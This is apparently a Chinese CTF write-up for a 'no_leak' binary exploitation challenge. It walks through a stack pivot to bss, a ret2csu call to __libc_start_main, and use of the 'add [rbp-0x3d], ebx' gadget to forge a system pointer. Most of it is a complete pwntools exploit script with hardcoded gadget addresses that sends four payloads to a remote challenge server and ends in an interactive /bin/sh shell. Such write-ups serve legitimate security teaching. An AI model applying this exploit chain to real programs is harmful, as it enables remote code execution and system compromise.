__do_global_dtors_aux中有一个gadget可以修改stack上的数据。

add [rbp-3Dh],ebx(当rbp和ebx可控时,我们就可以修改rbp-0x3d地址里面的内容,从而获取想要的真实地址。)

nx保护,got表不可改。栈溢出,并且没有任何可输出的函数。首先想到的是利用dl_runtime_reslove,但是dl_runtime_reslove常用于32,并且实操后发现执行不通。

利用思路:
1、迁移到bss段
2、调用libc_start_main,使得bss上残留下原本栈的信息,就会有真实地址在bss上分布。
3、找到一个能用的真实地址,利用神奇的gadget,把他伪造成system,再次跳回到main函数。
4、栈溢出构造system(‘/bin/sh’)

exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
context.log_level = 'debug'
pwn_name = "no_leak"
arch = '64'
version = '2.27'
ip, port = 'nc.eonew.cn', 10002
if sys.argv[1]=="l":
p=process('./'+pwn_name)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
p=remote(ip,port)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)

elf=ELF(pwn_name,checksec=False)

def get_one():
if(arch == '64'):
if(version == '2.23'):
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
if (version == '2.27'):
one = [0x4f2c5 , 0x4f322 , 0x10a38c]
return one

def sym(func):
success('{} => {:#x}'.format(func , libc.sym[func]))
return libc.sym[func]

def info(con,leak):
success('{} => {:#x}'.format(con,leak))

def dbg(address=0):
if address==0:
gdb.attach(p)
pause()
else:
if address > 0xfffff:
script="b *{:#x}\nc\n".format(address)
else:
script="b *$rebase({:#x})\nc\n".format(address)
gdb.attach(p, script)

def cus_rop(gadget1,gadget2,func_got,rdi,rsi,rdx):
payload = p64(gadget1)
payload += p64(0)
payload += p64(0) #rbx=0
payload += p64(1) #rbp=1
payload += p64(func_got) #r12 call
payload += p64(rdi) #r13 rdx
payload += p64(rsi) #r14 rsi
payload += p64(rdx) #r15 edi
payload += p64(gadget2)
payload += 'a'*56 #tiao zheng zhan zhen
return payload

one = get_one()

gadget_reg = 0x4005C6
gadget_call= 0x4005B0
magic_gadget = 0x400518
pop_rdi_ret = 0x4005D3
pop_rsi_r15 = 0x4005D1
leave_ret = 0x400564
buf_address = elf.bss() + 0x500
fini = 0x4005E0
init = 0x400570
start = 0x400450
#---------------

payload = 'a'*0x80 + p64(buf_address)
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_r15) + p64(buf_address) + p64(0) + p64(elf.plt['read'])
payload += p64(leave_ret)
payload = payload.ljust(0x100,'a')
p.send(payload)

# dbg(0x40055A)

payload = 'a'*8
payload += cus_rop(gadget_reg,gadget_call,elf.got['__libc_start_main'],start,fini,init)
payload = payload.ljust(0x100,'a')
p.send(payload)
#--------------- s
# gdb.attach(p)
# pause()
payload = 'a'*0x80 + p64(buf_address)
payload += p64(0x4005Ca)
payload += p64(0xFFFFFFFFFFC5EE18) ##(-0x3a11e8)^0xffffffffffffffff+1
payload += p64(0x601458+0x3d)
payload += p64(0)*4
payload += p64(magic_gadget)
payload += p64(start)
p.send(payload)
pause()
#---------------
binsh = 0x6012b0
system = 0x601458
payload ='/bin/sh\x00'+'b'*0x80
payload +=cus_rop(gadget_reg,gadget_call,system,binsh,0,0)
# payload ='/bin/sh\x00'+'b'*0x80
# payload += p64(pop_rdi_ret)+p64(binsh)+p64(system)不可行方案
p.sendline(payload)
p.interactive()

第一次payload:
栈迁移之后再次ret到read函数。此时rbp已经被覆盖为bss段地址,并且再次执行read函数

第二次payload:
栈迁移往0x601510处读入我们调用libc_start_main的payload。
通用gadget —csu—

可以看到第一个参数main地址,利用中级栈溢出的方式,成功实现了调用libc_start_main。

第三次payload:
再次read,当我们进去看时,就会发现除了我们的再次输入外,在bss上留下还有一些libc的地址:

选择0x601458作为我们的牺牲品,通过神奇的gadget,add它和system的偏移,就可以把它改成system,同时它的bss地址可以看成是system的伪got表地址。

关于偏移:
在magic_gadget中,add[rbp-0x3d],所以我们0x601458只有加0x3d才是rbp的位置,才能控制rbp。

第四次payload:
改成功了,接着再次回到main函数,直接写binsh到首部,然后中级栈溢出调用system就可以getshell了: